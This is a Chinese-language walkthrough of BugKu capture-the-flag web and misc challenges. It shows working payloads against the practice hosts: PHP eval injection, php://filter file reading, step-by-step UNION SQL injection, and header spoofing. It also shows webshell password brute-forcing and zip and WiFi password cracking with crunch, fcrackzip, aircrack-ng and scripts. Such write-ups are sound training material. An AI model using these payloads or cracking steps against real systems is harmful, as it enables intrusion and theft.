BugKu-wp

前兩天無意間翻到一個(gè)CTF平臺(tái)--BugKu,記下wp

WEB

1.Web2

查看源代碼即可得到flag

2.計(jì)算器:

輸入框位數(shù)受到限制,只能輸一位,F(xiàn)12修改位數(shù)


image.png

3.web基礎(chǔ)$_GET


$what=$_GET['what'];

echo $what;

if($what=='flag')

echo 'flag{****}';

根據(jù)題意,直接將what賦值為flag去get提交
?what=flag

4.web基礎(chǔ)$_POST

用post方式提交


image.png

5.矛盾

$num=$_GET['num'];
if(!is_numeric($num))
{
echo $num;
if($num==1)
echo 'flag{**********}';
}
image.png

觀察題目,應(yīng)該是使用is_numeric遇到%00截?cái)嗟穆┒?這里構(gòu)造
http://123.206.87.240:8002/get/index1.php?num=1%00

知識(shí)點(diǎn):
is_numeric() 判斷變量是否為數(shù)字或數(shù)字字符串,如果指定的變量是數(shù)字和數(shù)字字符串則返回 TRUE,否則返回 FALSE。不僅檢查10進(jìn)制,16進(jìn)制是可以。

is_numeric函數(shù)對(duì)于空字符%00,無論是%00放在前后都可以判斷為非數(shù)值,而%20空格字符只能放在數(shù)值后。所以,查看函數(shù)發(fā)現(xiàn)該函數(shù)對(duì)對(duì)于第一個(gè)空格字符會(huì)跳過空格字符判斷,接著后面的判斷!

該函數(shù)還可能造成sql注入,例如將‘1 or 1'轉(zhuǎn)換為16進(jìn)制形式,再傳參,就可以造成sql注入

6.web3

界面有點(diǎn)不盡 的彈窗,應(yīng)該是使用了大量的alert語句,直接查看網(wǎng)頁源代碼

最后一行是這樣的

image.png

使用html解碼,得到flag

7.域名解析

提示:聽說把 flag.baidu.com 解析到123.206.87.240 就能拿到flag
需要在hosts文件修改以下,我是在linux下做的比較方便
修改/etc/hosts
添加 flag.baidu.com 123.206.87.240 到文件中
然后打開瀏覽器訪問 flag.baidu.com 得到flag

8.你必須讓他停下

打開網(wǎng)站后網(wǎng)頁一直都在跳動(dòng),而且頁面不同,猜測(cè)flag在其中的一些網(wǎng)頁中,采用burp一幀幀的看,在Repeter多次go,很容易就得到了flag

9.本地包含

<?php 
    include "flag.php"; 
    $a = @$_REQUEST['hello']; 
    eval( "var_dump($a);"); 
    show_source(__FILE__); 
?>

方法一

    對(duì)_REQUEST[]函數(shù)并不是很了解,百度得到它對(duì)get/Post都可以接受

    其中第一句話include“flag.php”說明該文件在本地

     第二句話要獲得hello的值,由于hello為’hello’,所以無論在url欄中對(duì)hello賦任何值,都會(huì)全盤接受,其中var_dump()是將a打印到界面中,在根據(jù)eval函數(shù)的特性(計(jì)算后面括號(hào)中的表達(dá)式)

根據(jù)這一特性,我們嘗試將flag.php文件直接輸出

構(gòu)造如下:http://123.206.87.240:8003/?hello=1);print_r(file("./flag.php"));%23

使原文語句為


    eval(“var_dump(1);print_r(file(“./flag.php”))”)

方法二:

另外一種方法是直接對(duì)hello賦值為hello=file_get_contents('flag.php')

然后查按F12可以知道flag

10.變量1

<?php  

error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
    $args = $_GET['args'];
    if(!preg_match("/^\w+$/",$args)){
        die("args error!");
    }
    eval("var_dump($$args);");
}
?>

根據(jù)代碼得知只能get無符號(hào)字符串的args,而輸入之后會(huì)返回$$args的值,提示flag再變量中,可以構(gòu)造args=GLOBALS即可返回該全局變量數(shù)組的所有值,其中包括flag。

構(gòu)造:http://123.206.87.240:8004/index1.php?args=GLOBALS

11.web5

查看源代碼


image.png

發(fā)現(xiàn)了一大堆組合,考慮是JSFUCK,

直接將括號(hào)復(fù)制到谷歌瀏覽器的控制臺(tái)運(yùn)行得到flag


image.png

12. 頭等艙

burp抓包:

image.png

13. 網(wǎng)站被黑

image.png

http://123.206.87.240:8002/webshell/
御劍后臺(tái)掃描,發(fā)現(xiàn)shell.php

image.png

用burp自帶的字典爆破,密碼為hack

14.管理員系統(tǒng)

打開解題網(wǎng)址

image.png

很像sql注入的題,隨便輸入個(gè)賬號(hào)先試試

image.png

看到這個(gè)就想到X-Forwarded-For

簡(jiǎn)稱XFF頭,它代表客戶端,也就是HTTP的請(qǐng)求端真實(shí)的IP

偽造一個(gè)XFF頭,偽裝成本地登錄

X-Forwarded_For: 127.0.0.1

在來看看源碼
看到在源碼的最后面有一個(gè)base64的編碼


image.png

解密為test123,猜測(cè)應(yīng)該是管理員密碼

Burp抓包,然后轉(zhuǎn)到Repeater模塊中

image.png

Go得到了flag,轉(zhuǎn)換為flag格式

15.Web4

源碼:


image.png

查看網(wǎng)頁源代碼p1=%..%...;p2=%..%...

題目最后p1+%..%...+p2

先進(jìn)行URL解碼


p1=function checkSubmit(){var a=document.getElementById("password");if("undefined"!=typeof a){if("67d709b2b

p2=aa648cf6e87a7114f1"==a.value)return!0;alert("Error");a.focus();return!1}}document.getElementById("levelQuest").onsubmit=checkSubmit;

%35%34%61%61%32=54aa2

完整代碼:

functioncheckSubmit(){

      vara=document.getElementById("password");

      if("undefined"!=typeof a){

            if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)

                  return!0;

            alert("Error");

            a.focus();

            return!1

      }

}

document.getElementById("levelQuest").onsubmit=checkSubmit;

則可知當(dāng)傳入的password值為67d709b2b54aa2aa648cf6e87a7114f1時(shí)返回真值得到flag。

16.flag在index里

將網(wǎng)頁點(diǎn)開,在點(diǎn)擊相應(yīng)連接,網(wǎng)頁地址欄變?yōu)?

http://123.206.87.240:8005/post/index.php?file=show.php

看到了file關(guān)鍵字,猜測(cè)為文件包含,看看用php://filter能否將index讀出來
構(gòu)造:
http://123.206.87.240:8005/post/index.php?file=php://filter/read/convert.base64-encode/resource=index.php

PGh0bWw+DQogICAgPHRpdGxlPkJ1Z2t1LWN0ZjwvdGl0bGU+DQogICAgDQo8P3BocA0KCWVycm9yX3JlcG9ydGluZygwKTsNCglpZighJF9HRVRbZmlsZV0pe2VjaG8gJzxhIGhyZWY9Ii4vaW5kZXgucGhwP2ZpbGU9c2hvdy5waHAiPmNsaWNrIG1lPyBubzwvYT4nO30NCgkkZmlsZT0kX0dFVFsnZmlsZSddOw0KCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpew0KCQllY2hvICJPaCBubyEiOw0KCQlleGl0KCk7DQoJfQ0KCWluY2x1ZGUoJGZpbGUpOyANCi8vZmxhZzpmbGFne2VkdWxjbmlfZWxpZl9sYWNvbF9zaV9zaWh0fQ0KPz4NCjwvaHRtbD4NCg==

得到base64解碼,觀察程序得到flag

17.輸入密碼查看flag

image.png

burp進(jìn)行五位數(shù)弱密碼爆破,密碼為13579

18. 點(diǎn)擊一百萬次

題目要點(diǎn)擊100萬次才行,很顯然不能
查看網(wǎng)頁源代碼,根據(jù)
if(clicks >= 1000000)
直接將clicks賦值為10000000(POST方法),查看結(jié)果
不能直接修改前端代碼
得到flag


image.png

19.備份是個(gè)好習(xí)慣

打開網(wǎng)頁d41d8cd98f00b204e9800998ecf8427ed41d8cd98f00b204e9800998ecf8427e

將里面的東西解碼,每個(gè)解碼的方式都試過了,未果,觀察里面的加密值,發(fā)現(xiàn)先后重復(fù)

將d41d8cd98f00b204e9800998ecf8427e解密

image.png

然后在flag中試了各種與空有關(guān)的東西,未果。

觀察題目,說備份是個(gè)好習(xí)慣猜測(cè)應(yīng)該與備份有關(guān)

小知識(shí):

備份文件一般情況是在后綴名后加的.swp,.bak

http://120.24.86.145:8002/web16/ 默認(rèn)訪問的是該路徑的index.php文件

看看里面有什么東西

http://120.24.86.145:8002/web16/index.php.bak

訪問成功了,復(fù)原備份文件


include_once "flag.php";

ini_set("display_errors", 0);

$str = strstr($_SERVER['REQUEST_URI'], '?');

$str = substr($str,1);

$str = str_replace('key','',$str);

parse_str($str);

echo md5($key1);

echo md5($key2);

if(md5($key1) == md5($key2) && $key1 !== $key2){

echo $flag."取得flag";

要求key1和key2的md5值相等,但是值不相等

百度得這兩個(gè)值為240610708和QNKCDZO,嘗試賦值,并沒有什么變化

繼續(xù)觀察源程序,發(fā)現(xiàn)程序中將key字符變?yōu)榭?,考慮用kkeyey取代key,


image.png

然后得到了flag

20.成績(jī)單

看到題后首先想到的是sql注入
先爆數(shù)據(jù)庫:
0' union select 1,user(),database(),4 -- +

image.png

爆表:
0' union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='skctf_flag' -- +

image.png

可以看到有倆表,flag應(yīng)該在fl4g里

爆列:
-1' union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='fl4g' #

image.png

值:
-1' union select 1,skctf_flag,3,4 from fl4g#

BUGKU{Sql_INJECT0N_4813drd8hz4}

21.秋名山老司機(jī)

image.png

算數(shù),無奈只能上腳本
這題不停刷新會(huì)看到


image.png

要post提交一個(gè)value數(shù)據(jù),value就是結(jié)果值
福腳本:

import requests
import re

import base64

url='http://123.206.87.240:8002/qiumingshan/'

s=requests.session()

r=s.get(url)


searchObj = re.search(r'^<div>(.*)=\?;</div>$', r.text, re.M | re.S)

d = {
    "value": eval(searchObj.group(1))
}
r = s.post(url, data=d)
print(r.text)

運(yùn)行結(jié)果得flag

22.速度要快

image.png

源碼提示:
上腳本

import requests

import re

import base64

url='http://123.206.87.240:8002/web6/'

s=requests.session()

r=s.get(url)

flag=r.headers['flag']

print(flag)

flag1=base64.b64decode(flag)

print(flag1)

flag2=base64.b64decode(str(flag1).split(":")[1][1:-1])

#將flag分為兩部分,[1:-1]就是獲取到的值

print(flag2)

data={"margin":flag2}

r=s.post(url,data)

print(r.text)

23.cookies欺騙

點(diǎn)進(jìn)來URL
http://123.206.87.240:8002/web11/index.php?line=&filename=a2V5cy50eHQ=
a2V5cy50eHQ=解碼是keys.txt 所以替換成base64后的index.php。沒作用,但line=1時(shí)出現(xiàn)一行php代碼,可判定line為源碼的行數(shù)
寫腳本遍歷獲得源代碼

import re

import requests

url='http://123.206.87.240:8002/web11/index.php?line=%d&filename=aW5kZXgucGhw'

for i in range(100):
 
    url1=url%i

    c1=requests.get(url1).text

    print(c1)

    if c1=='':
        break

php源碼:

<?php

error_reporting(0);

$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");

$line=isset($_GET['line'])?intval($_GET['line']):0;

if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");

$file_list = array(

'0' =>'keys.txt',

'1' =>'index.php',

);

if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){

$file_list[2]='keys.php';
}

if(in_array($file, $file_list)){

$fa = file($file);

echo $fa[$line];
}
?>

從源碼中看出訪問keys.php,然后cookie值要margin=margin。。
前提keys.php以base64形式訪問a2V5cy5waHA=


image.png

24.never give up

源碼提示:

<!--1p.html-->
never never never give up !!!

抓包
然后訪問1p.html


image.png

會(huì)得到一堆base64,解密后是url編碼,再解碼

if(!$_GET['id'])
{
    header('Location: hello.php?id=1');
    exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
    echo 'no no no no no no no';
    return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
    require("f4l2a3g.txt");
}
else
{
    print "never never never give up !!!";
}


?>

直接訪問f4l2a3g.txt 得到flag

MISC

1.簽到題

直接關(guān)注公眾號(hào)即可

2.這是一張簡(jiǎn)單的圖片

將圖片下載到本地,使用winhex打開圖片,在末尾有一組數(shù)據(jù)信息

&#107;&#101;&#121;&#123;&#121;&#111;&#117;&#32;&#97;&#114;&#101;&#32;&#114;&#105;&#103;&#104;&#116;&#125;
image.png

html解碼即可

3.隱寫

打開發(fā)現(xiàn)是一張png格式的照片,放進(jìn)StegSolve沒發(fā)現(xiàn)啥
百度一下原來是改高度


這里寫圖片描述

找到IDR片段就是00 00 00 0D開頭的,把其中的A4改為F4,得到flag


這里寫圖片描述

4.telnet

打開發(fā)現(xiàn)是一個(gè)數(shù)據(jù)包,用wireshark打開,查看整個(gè)包的信息,可以追蹤一下TCP流,發(fā)現(xiàn)里面有一個(gè)flag


image.png

5.眼見非實(shí)

解壓發(fā)現(xiàn)是個(gè)Word文檔,嘗試打開打不開,放進(jìn)winhex里面看是504B0304開頭的,一個(gè)zip文件,改后綴名再次打開,并在里面的document.xml發(fā)現(xiàn)flag


image.png

6.啊噠

拿到之后是一個(gè)jpg文件,先使用binwalk分析下文件,得到圖片中隱藏了一段tiff信息以及一個(gè)壓縮包,都分離出來,發(fā)現(xiàn)壓縮包被加密了,

tiff信息在相機(jī)型號(hào)出處有一段十六進(jìn)制,轉(zhuǎn)換成字符串以后是sdnisc_2018,如下圖所示:

image.png

使用這個(gè)密碼解密壓縮包,即可獲得

7.又一張圖片,還單純嗎??

放進(jìn)binwalk里跑一下,發(fā)現(xiàn)里面還有一張圖片分離出來


image.png

沒找到flag,foremost提取吧

# foremost 圖片地址
root@kali:~/桌面# foremost 2.jpg
Processing: 2.jpg
|*|
root@kali:~/桌面# ls
2.jpg  output
root@kali:~/桌面# cd output/
root@kali:~/桌面/output# ls
audit.txt  jpg

這時(shí)會(huì)在當(dāng)前目錄生成output文件,打開文件就可以看到一張flag圖片


image.png

8.猜

直接百度搜圖,某劉姓女明星
key{liuyifei}

9.寬帶信息泄露

看到是一個(gè)二進(jìn)制文件,用RoutePassView打開,題目提示是用戶名,便尋找用戶名


image.png

flag{用戶名}

10.隱寫2

winhex打開沒發(fā)現(xiàn)什么
使用binwalk查看信息


image.png

里面zip壓縮文件
使用binwalk或者foremost分離
打開output文件,里面有一個(gè)zip文件

image

還有個(gè)提示


image.png

提示密碼是三位數(shù)
創(chuàng)建字典

crunch 3 3 0123456789 -o password.txt

fcrackzip爆破

fcrackzip -D -p password.txt -u flag.rar -v
image.png

也可以腳本爆破

import zipfile
import os
 
def main():
    zip = zipfile.ZipFile("./123.zip","r",zipfile.zlib.DEFLATED)
    with open("./password.txt") as f:
        for data in f.readlines():
            try:
                print("\n[+] Trying the password ",data.strip())
                zip.extractall(path="./",pwd=data.strip().encode())
                print("\n[+] The password is",data.strip())
                zip.close()
                return 
            except Exception as e :
                print(e)
                pass
 
if __name__ == '__main__':
    main()

解壓后得到一張圖片
通過寫字板打開獲得f1@g{eTB1IEFyZSBhIGhAY2tlciE=}

很明顯eTB1IEFyZSBhIGhAY2tlciE=是Base64加密,通過解密獲得y0u Are a h@cker!

即f1@g{y0u Are a h@cker!},提交時(shí)需要將f1@g變換為flag,即最終為flag{y0u Are a h@cker!}

11.多種方法解決

下載下來發(fā)現(xiàn)是一個(gè)exe文件,又打不開,放進(jìn)Notepad++看一下,發(fā)現(xiàn)這是一個(gè)可以轉(zhuǎn)圖片的Base64
直接轉(zhuǎn)換即可 http://base64.xpcha.com/ 是個(gè)二維碼
掃一下獲得key

image.png

12.linux

下載下來是一個(gè)linux下的壓縮包,但這題不需要在linux下,解壓后文件Notepad++打開并搜索關(guān)鍵字key得到flag
在linux下也行


image.png

13.閃的好快

一個(gè)變化的二維碼
使用StegSolve查看幀數(shù),共18,


image.png

一幀一幀掃完拼成flag

14.come_game

下載下來打開是個(gè)游戲
最后一關(guān)是flag,手殘當(dāng)根本過不去,另想別法


image.png

觀察規(guī)律發(fā)現(xiàn)打開游戲后會(huì)生成Deathtime文件,應(yīng)該是死亡時(shí)間,還有一個(gè)save文件應(yīng)該是保存關(guān)數(shù),于是想辦法修改關(guān)數(shù)直接到最后一關(guān),用winhex打開save文件

測(cè)試發(fā)現(xiàn)最后一關(guān)是第5關(guān)


image.png
image.png

flag: SYC{}

15.隱寫3

感覺下面還有東西,于是就打算改高度,于是發(fā)現(xiàn)了flag


image.png
image.png
image.png

16.做個(gè)游戲(08067CTF)

提示:堅(jiān)持60秒 相當(dāng)難
下載下來jar文件,java反編譯一下,


image.png

17想蹭網(wǎng)先解開密碼

image.png
# w 寫模式,它是不能讀的,如果用w模式打開一個(gè)已經(jīng)存在的文件,會(huì)清空以前的文件內(nèi)容,重新寫
# w+ 是讀寫內(nèi)容,只要沾上w,肯定會(huì)清空原來的文件 
with open('wifilist.txt','w+') as f:
    for i in range(0,10):
        for j in range(0,10):
            for k in range(0,10):
                for h in range(0,10):
                    f.write('1391040'+str(i)+str(j)+str(k)+str(h)+'\n')
f.close

用腳本先生成字典,然后爆破
kali命令爆破

aircrack-ng wifi.cap -w wifi.txt
image.png
image.png

得到flag

18.Linux2

直接解壓Notepad++打開搜索key就有了,,,,

19.賬號(hào)被盜了

訪問鏈接,使用burpsuite抓包,修改Cookie,右鍵->Send to Repeater->go


image.png

將123.exe下載下來,打開是一個(gè)CF刷槍軟件

image.png

使用wireshark抓包,賬號(hào)密碼隨便填寫


image.png
image.png

賬號(hào): YmtjdGZ0ZXN0QDE2My5jb20=

密碼:YTEyMzQ1Ng==

將base64解密得到163郵箱,將密碼解密是a123456,登錄郵箱就可得到flag,


image.png

20. 細(xì)心的大象

lag格式 flag{xxx_xxx_xxx}

解壓得到1.jpg圖片

查看屬性,發(fā)現(xiàn)有一段base64加密內(nèi)容


image.png

解密得到明文,這應(yīng)該是密碼之類的,先放著

image.png

接下來 日常丟進(jìn)kali binwalk 一下
分離 打開 要密碼
把我們剛才的解密丟進(jìn)去!成功!!
又是一張圖片?
看圖片應(yīng)該是是改寬高

winhex修改高度


image.png

21.爆照(08067CTF)

留坑

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容